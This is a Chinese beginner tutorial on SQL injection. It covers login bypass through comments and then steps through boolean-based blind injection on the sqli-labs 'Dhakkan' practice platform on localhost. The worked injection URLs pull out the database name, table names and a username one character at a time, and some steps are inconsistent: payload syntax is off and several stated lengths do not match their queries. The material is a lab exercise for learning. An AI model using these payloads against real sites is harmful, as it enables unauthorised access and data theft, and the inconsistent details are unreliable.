xxcc140 / 大数据 / SQL注入新手教程

分享

   

SQL注入新手教程

2017-07-26  xxcc140

信息安全公益宣传,信息安全知识启蒙。

加微信群或QQ群可免费索取:学习教程

第一部分

SQL 注入是一种攻击者通过网页将 SQL 命令注入到 SQL 语句中的技术。攻击者可以绕过认证,访问、修改和删除数据库中的数据。在某些情况下,SQL 注入甚至可被用于执行操作系统级的命令,攻击者可能对防火墙后的网络带来破坏性更大的攻击。

常用数据库

  • MySQL(开源)

  • MSSQL

  • S-ACCESS

  • Oracle

  • Postgre(开源)

  • SQLite

SQL注入类型

  • In Band(带内注入)

  • Out of Band(带外注入)

  • Blind SQLI(盲注)

SQL注入开发技术
  • Error Based Exploitation(基于错误返回的注入)

  • Union Based Exploitation(基于联合查询的注入)

  • Boolen Based Exploitation(布尔型注入)

  • Time Based Exploitation(基于时间延迟注入)

  • Out of Band Exploitation(带外注入)

常见注入点:应用程序和数据交互的地方

  • Authentication(认证页面)

  • Search Fields (搜索页面)

  • Post Fields (Post请求)

  • Get Fields (Get请求)

  • HTTP Header(HTTP头部)

  • Cookie

SELECT基于搜索条件从数据库中读取数据
INSERT将新数据插入数据库
UPDATE基于给定条件更新已有数据
DELETE基于给定条件删除已有数据
Order By对结果集按照升序或降序排列
Limit By从一个或多个表中检索记录
1字符串运算符'or'
2多行注释/*...*/
3加号,连接(在URL中等同于空格)+
4单行注释#或--
5双管道(连接)||
6通配符%
7局部变量@
8全局变量@@
9时延waitfor delay '00:00:10'
10字符串替代数字或数字替代字符串

数据库指纹

我们可以通过分析错误信息找出数据库类型。

首先从这里下载SQL注入测试平台,并且利用xampp搭建开放SQL注入实验平台。(译者注:可参考这篇博客点击 Setup/reset Database for labs

在进入 Dhakkan 实验平台之前,我们先了解一些基础知识。(数据库后端如何执行查询操作?查询是如何形成的?我们如何打破它?到底什么是SQL注入?)

想象一个需要输入用户名和密码的登录页面,当你输入用户名和密码后,后端就会产生并执行一条查询(SQL查询),登录后该查询结果会被显示在我们的主页。

例如:

Username - Raj

Password - Chandel

那么后端查询看起来是这样的:

SELECT * FROM table_name WHERE username='Raj' AND password='Chandel';

这完全取决于开发者是如何将参数值封装在SQL查询中的,可以是单引号、双引号和引号与括号结合使用等。所以查询可能看起来会是这样的:

SELECT * FROM table_name WHERE username='Raj' AND password='Chandel';

SELECT * FROM table_name WHERE username=('Raj') AND password=('Chandel');

SELECT * FROM table_name WHERE username='Raj' AND password='Chandel';

SELECT * FROM table_name WHERE username=('Raj') AND password=('Chandel');

或者是开发者选择的任何形式。这里以第一种查询为例进一步解释。

Q :如果输入的用户名为 Raj' 会发生什么?

A:如果输入的用户名为 Raj' ,后台查询看起来会是这样的

SELECT * FROM table_name WHERE username='Raj'' AND password='Chandel';

由于多了一个引号,所以此处有语法错误。

Q:怎样修复这条查询?可以修复吗?

A:上面的查询可以修复,即使输入的用户名仍为 Raj' 也可以修复。可以通过将 Raj' 后面的查询全部注释掉来修复。所以有效的查询会是这样的

SELECT * FROM table_name WHERE username='Raj'

这条查询语法正确

Q:如何将剩余的查询注释掉?

A:这取决于后端的数据库类型。一般情况下使用 -+ 或者 # 。如果输入用户名 Raj'-+ ,完整的后端查询看起来是这样的

SELECT * FROM table_name WHERE username='Raj'-+' AND password='Chandel';

但是数据库只会读取并执行这条查询

SELECT * FROM table_name WHERE username='Raj'

-+ 后面的所有东西都被注释掉了,不会翻译为这条查询的一部分。这就是SQL注入。使用恶意的输入改变后端查询。

我不知道你是否对此怀有疑问,反正我当时学习的时候,有这样一个疑问:

根据上面的带有注释的查询,我们不需要一个有效的密码就可以登录了吗?

是的,如果开发者没有采取防范SQL注入的措施,并且以上面方式实现查询,那么只有用户名就可能成功登录。

第二部分

学习一种新的SQL注入攻击方法——基于布尔的盲注。

攻击者通常在URL中嵌入(')来检查是否可以进行SQL注入攻击,使用(')是为了得到SQL错误返回信息。这是一场开发者和攻击者之间的战争,每当开发者提升了安全防护级别,攻击者就得绞尽脑汁地去攻破它。这一次开发者并没有将错误信息以输出的形式呈现在Web页面上。因此,即使该数据库是易于被SQL注入的,攻击者也无法获得任何相关错误信息。然而,道高一尺,魔高一丈。此时攻击者就会通过估计不同的查询结果,TRUE或者FALSE,来确定该数据库是否可被盲注。

我们使用Dhakkan平台来学习盲注。

首先在浏览器中输入http://localhost:81/sqli/Less-8/?id=1打开该平台(注:输入具体以个人实际情况为准,这里是原作者的配置,仅供参考)。

这时会向数据库送入一条查询:SELECT * from table_name WHERE id=1

由上图可以看出,其结果就是得到一个以黄颜色显示的'You are in...........'的Web页面。

当攻击者使用嵌入(')的查询,即:http://localhost:81/sqli/Less-8/?id=1'

由上图可以看出,该黄颜色文本消失了,也没有得到任何错误信息,使用其他攻击方式的情况与此相同。

那么攻击者只好通过盲注来进行验证了,该注入查询返回的一定是TRUE或者FALSE。

http://localhost:81/sqli/Less-8/id=1' AND 1=1 -+

对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=1

数据库会对给定的情况1=1进行检查,如果查询有效,它就会返回TRUE。由上图可以看出,我们又得到了黄颜色显示的'You are in...........',这意味着该查询是有效的。

接着下一条查询,http://localhost:81/sqli/Less-8/?id=1' AND 1=0 -+

对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=0

同样的,数据库会对给定的情况1=0进行检查,显然该查询无效的,因此返回FALSE。由上图可以看出,该黄颜色文本右消失了。

以上即可说明该数据库是可被盲注的,由此我们就可以获取数据库信息了。

数字库中字符串长度

下面的查询中将会求数据库中的字符串长度。例如,数据库名为IGNITE,它包含了6个字母,那么该数据库字符串IGNITE的长度就等于6。

与此类似的,我们使用以下注入查询来检查当前数据库名的长度是否等于1,通过是否显示文本'You are in...........'即可判断返回的是TRUE还是FALSE。

http://localhost:81/sqli/Less-8/?id=1' AND (length(database)) = 1 -+

由上图可以看出,返回的是FALSE,这意味着当前数据库名的长度不等于1。

http://localhost:81/sqli/Less-8/?id=1' AND (length(database)) = 2 -+

由上图可以看出,当前数据库名的长度不等于2。

...

http://localhost:81/sqli/Less-8/?id=1' AND (length(database)) = 8 -+

由上图可以看出,当检查到8时,文本'You are in...........'又出现了,这意味着当前数据库名的长度为8。

众所周知,计算机无法理解人类的语言,它只能理解二进制语言,因此,我们要使用ASCII码。ASCII码将字符集中的每一个符号都对应于一个整数,比如字母、数字、标点符号、特殊字符和操作符。

1 = I = 73

2 = G = 71

3 = N = 78

4 = I = 73

5 = T = 84

6 = E = 69

接下来我们要使用ASCII码枚举出这8个字符。

下一条查询使用关键字ascii substr检查当前数据库名中的第一个字符对应的ASCII码是否大于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),1,1))) > 100 -+

由上图可以看出,第一个字符的ASCII码确实大于100。

由上图可以看出,第一个字符的ASCII码小于120。这意味着第个字符的ASCII码在100和120之间。

接下来逐个检查。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),1,1))) = 101 -+

由上图可以看出,第一个字符的ASCII码不等于101。

...

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),1,1))) = 114 -+

由上图可以看出,第一个字符的ASCII码不等于114。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),1,1))) = 115 -+

由上图可以看出,返回的是TRUE,意味着第一个字符的ASCII码等于115,即's'(小写)。

接下来就是第二个字符,重复以上步骤。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),2,1))) > 100 -+

...

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database),2,1))) = 101 -+

由上图可以看出,返回的是TRUE,意味着第二个字符的ASCII码等于101,即'e'(小写)。

同理即可得到全部的8个字符,具体如下:

1 = s = 115

2 = e = 101

3 = c = 99

4 = u = 117

5 = r = 114

6 = i = 105

7 = t = 116

8 = y = 121

表中字符串长度

我们还得使用同样的技术来获取数据库中的表的信息。以下查询会检查第一个表名的长度是否大于5。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database limit 0,1))) > 5 -+

由上图可以看出,第一个表名的长度确实大于5。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database limit 0,1))) > 6 -+

由上图可以看出,第一个表名的长度不大于6。其实这已经意味着第一个表名的长度等于6了,不过为了演示,还是执行以下查询:

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database limit 0,1))) = 6 -+

由上图可以看出,第一个表名的长度确实等于6。

类似的,我用同样的技术测试了第二个和第三个表名的长度,改变一下上面所用查询中的表的编号即可。

再来演示一下如何测试第四个表名的长度。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database limit 3,1))) = 6 -+

由上图可以看出,第四个表名的长度等于5。

然后就是枚举表名的具体字符,所用方法和前面的相同,这里以第四个表名为例。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 3,1),1,1))) > 115 -+

由上图可以看出,该表名第一个字符的ASCII码大于115。

接下来测试表名第一个字符的ASCII码是否大于120。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 3,1),1,1))) > 120 -+

由上图可以看出,该表名第一个字符的ASCII码小于120。结合上面可知,该表名第一个字符的ASCII码位于115到120之间,接着逐个检测。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 3,1),1,1))) = 116 -+

由上图可以看出,该表名第一个字符的ASCII码不等于116。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 3,1),1,1))) = 117 -+

由上图可以看出,该表名第一个字符的ASCII码等于117。这意味着第四个表名的第一个字符为'u'(小写)。

同理即可得到第四个表名的全部字符,如下:

1 = u = 117

2 = s = 115

3 = e = 101

4 = r = 114

5 = s = 115

枚举用户名

接下来我们使用同样的技术测试一下表users中用户名的长度。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 -+

由上图可以看出,用户名的长度等于5。

然后就是枚举用户名的具体字符,还是之前的技术。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 100 -+

由上图可以看出,该用户名第一个字符的ASCII码小于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 50 -+

由上图可以看出,该用户名第一个字符的ASCII码大于50。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 60 -+

由上图可以看出,该用户名第一个字符的ASCII码大于60。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 70 -+

由上图可以看出,该用户名第一个字符的ASCII码不大于70。结合上面可知,该用户名第一个字符的ASCII码位于60到70之间,接着逐个检测。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) = 68 -+

由上图可以看出,该用户名第一个字符的ASCII码等于68。这意味着第一个字符为'D'(大写)。

同理即可得到该用户名的全部字符,如下:

1 = D = 68

2 = u = 117

3 = m = 109

4 = b = 98

到此为止,我们已经学会了如何使用盲注技术来攻击数据库。

阅读原文,查看更多精彩文章

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多
    喜欢该文的人也喜欢 更多

    ×
    ×

    ¥.00

    微信或支付宝扫码支付:

    开通即同意《个图VIP服务协议》

    全部>>